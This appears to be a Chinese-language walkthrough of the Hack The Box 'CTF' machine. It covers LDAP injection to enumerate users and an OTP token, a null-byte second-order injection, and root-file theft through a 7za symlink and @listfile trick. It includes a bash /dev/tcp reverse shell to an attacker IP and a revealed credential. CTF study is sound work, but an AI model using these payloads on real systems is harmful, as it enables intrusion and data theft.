基本信息
                端口扫描
22和80:
1  | ➜ ~ nmap -sC -sV 10.10.10.122  | 
80
80给出信息需要登录,禁止爆破:
                登录是用户名和OTP:
                LDAP
根据页面注释信息,应该是ldap:
                另外搜索81 digits token可以知道是CTF(compressed token format)
ldap注入
就是ldap注入,’*’需要二次编码,用户名不存在会提示User xxx not found,存在提示Cannot login,利用这个得到用户名:
                
                最终得到用户名是ldapuser
ldap枚举
同样的方式,枚举出存在的属性:
1  | Attribute found cn  | 
其他都是常见的,除了pager,在pager里可以得到OTP token:
1  | Token: 285449490011357156531651545652335570713167411445727140604172141456711102716717000  | 
attribute.py
1  | #!/usr/bin/python  | 
pager.py
1  | #!/usr/bin/python  | 
OTP
根据之前的搜索信息,可以用stoken导入token生成OTP,因为OTP和时间相关,需要加上服务器和本地的时间差值,(或者直接修改时区):
                计算出otp,成功登录:
1  | stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000  | 
                登录进去可以执行命令,同样需要otp, 但提示需要root或者adm才能执行命令:
                二阶LDAP注入
就是00截断:
1  | login: (&(uid=$username)(pager=*))  | 
admin
登录时用户名使用’ldapuser%29%29%29%00’,成功登录,可以执行命令:
                info
然后直接查看php文件,得到ldap用户名密码:
1  | ldapuser : e398e27d5c4ad45086fe431120932a01  | 
                user flag
使用这个密码ssh登录,得到user.txt:
                提权信息
backup
可以看到根目录有个backup目录,里面有一些zip文件,一个error.log和honeypot.sh:
                查看sh文件内容,里面用7za压缩uploads目录里的文件,并且-snl忽略软链接(只处理软链接文件,不处理指向文件),’– *’表明前面的已经处理完,星号作为文件名通配符
但7z支持7z @listfile这种方式,您可以为特殊列表文件(包含文件列表的文件)提供一个或多个文件名或通配符。此类列表文件中的文件名必须用换行符号分隔,由于--,列表文件只能提供要使用的文件
利用方式
结合这些信息,可以在/uploads/目录里创建两个文件:
1  | @miao miao  | 
miao是软链接,指向/root/root.txt
这样当压缩时,执行的是:
1  | 7za a /backup/$filename.zip -t7z -snl -p$pass -- *  | 
honeypot.sh
1  | # get banned ips from fail2ban jails and update banned.txt  | 
exploit && root flag
apache shell
ldapuser不能访问uploads目录,需要从前面的otp那里打apache shell,有防火墙,只能443端口:
1  | bash -i &>/dev/tcp/10.10.14.6/443 <&1  | 
                exploit
1  | touch @miao  | 
等待备份执行,error log得到root flag:
                
                参考资料
- PayloadsAllTheThings/LDAP Injection at master · swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt
 - https://www.hackthebox.eu/home/machines/writeup/172
 - HTB: CTF | 0xdf hacks stuff
https://0xdf.gitlab.io/2019/07/20/htb-ctf.html#exploit-it - HackTheBox - CTF - YouTube
https://www.youtube.com/watch?v=51JQg202csw&feature=youtu.be&ab_channel=IppSec